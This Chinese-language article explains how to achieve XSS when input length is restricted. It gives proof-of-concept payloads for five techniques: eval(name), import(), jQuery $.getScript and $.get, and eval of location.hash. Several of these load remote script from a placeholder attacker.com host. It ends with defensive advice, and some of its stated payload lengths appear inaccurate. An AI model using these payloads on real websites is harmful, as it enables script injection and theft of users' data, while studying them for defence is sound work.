输入长度受限情况下的XSS攻击技术详解
概述
本文详细分析在输入长度受限情况下如何实现XSS攻击,特别是在alert等函数被限制字符数时的解决方案。核心思路是通过加载外部JavaScript来绕过长度限制,实现任意代码执行。
五种主要攻击方法
1. eval(name)方法
原理:利用name属性可以跨域继承的特性,通过eval(name)执行任意代码。
特点:
- 可能是执行任意代码的最短payload
name属性可被攻击者完全控制- 除非页面重写了
name属性,否则普遍适用
POC示例:
<a href="javascript:eval(name)">Click</a>
Payload长度:21字符('javascript:eval(name)'.length==21)
完整攻击流程:
- 攻击者准备恶意页面,设置
name属性 - 诱导用户点击包含短payload的链接
- 执行
eval(name)加载外部脚本
2. import方法
原理:使用JavaScript的import()函数动态加载外部脚本。
特点:
- 仅适用于基于Chromium的浏览器
- 是取回外部JavaScript的最短payload之一
POC示例:
<a href="javascript:import(//attacker.com/xss.js)">Click</a>
Payload长度:24字符('javascript:import('.length==24)
3. $.getScript方法
原理:利用jQuery的$.getScript函数加载外部脚本。
前提条件:
- 目标页面已加载jQuery
- 脚本在全局环境下执行
POC示例:
<script src='https://code.jquery.com/jquery-3.3.1.min.js'></script>
<a href="javascript:$.getScript('//attacker.com/xss.js')">Click</a>
Payload长度:29字符('javascript:$.getScript('.length==29)
4. $.get方法
原理:使用jQuery的$.get方法加载外部脚本。
前提条件:
- 目标页面已加载jQuery
- 仅适用于jQuery 3.00及以前版本
- 返回的content-type必须设置为text/javascript
POC示例:
<script src='https://code.jquery.com/jquery-2.2.4.min.js'></script>
<a href="javascript:$.get('//attacker.com/xss.js')">Click</a>
Payload长度:23字符('javascript:$.get('.length==23)
5. 利用已有元素和属性
原理:利用页面中已有的、用户可控制的HTML元素或JavaScript属性。
示例场景:
- 页面使用
document.location.hash存储导航信息 - 攻击者可控制hash部分内容
POC示例:
<script>const hash=document.location.hash;</script>
<a href="javascript:eval(`'`+hash)">Click</a>
#';d=document;s=d.createElement('script');s.src='//attacker.com/xss.js';d.body.appendChild(s)
Payload长度:25字符(javascript:eval("'"+hash).length==25)
其他技术要点
防止Firefox导航
在Firefox中,点击JavaScript URI后会触发导航。为防止导航,可以引入一个错误:
javascript:eval(name);q // q未定义,会终止导航
URL编码技巧
在JavaScript URL环境中可以使用URL编码:
<a href="javascript:x='%27,alert(1)//">Click</a>
解码后相当于:
x='',alert(1)//
防御建议
- 对所有用户输入进行严格的过滤和转义
- 限制JavaScript URL协议的使用
- 实施内容安全策略(CSP)
- 及时更新jQuery等库到最新版本
- 避免将用户可控数据直接传递给eval等危险函数
总结
在输入长度受限的情况下,攻击者可以通过多种方式绕过限制实现XSS攻击。本文介绍的5种方法各有适用场景,从最短的21字符payload到利用已有页面特性的25字符payload,展示了在严格限制下实现XSS攻击的可能性。防御方需要全面考虑各种攻击向量,实施纵深防御策略。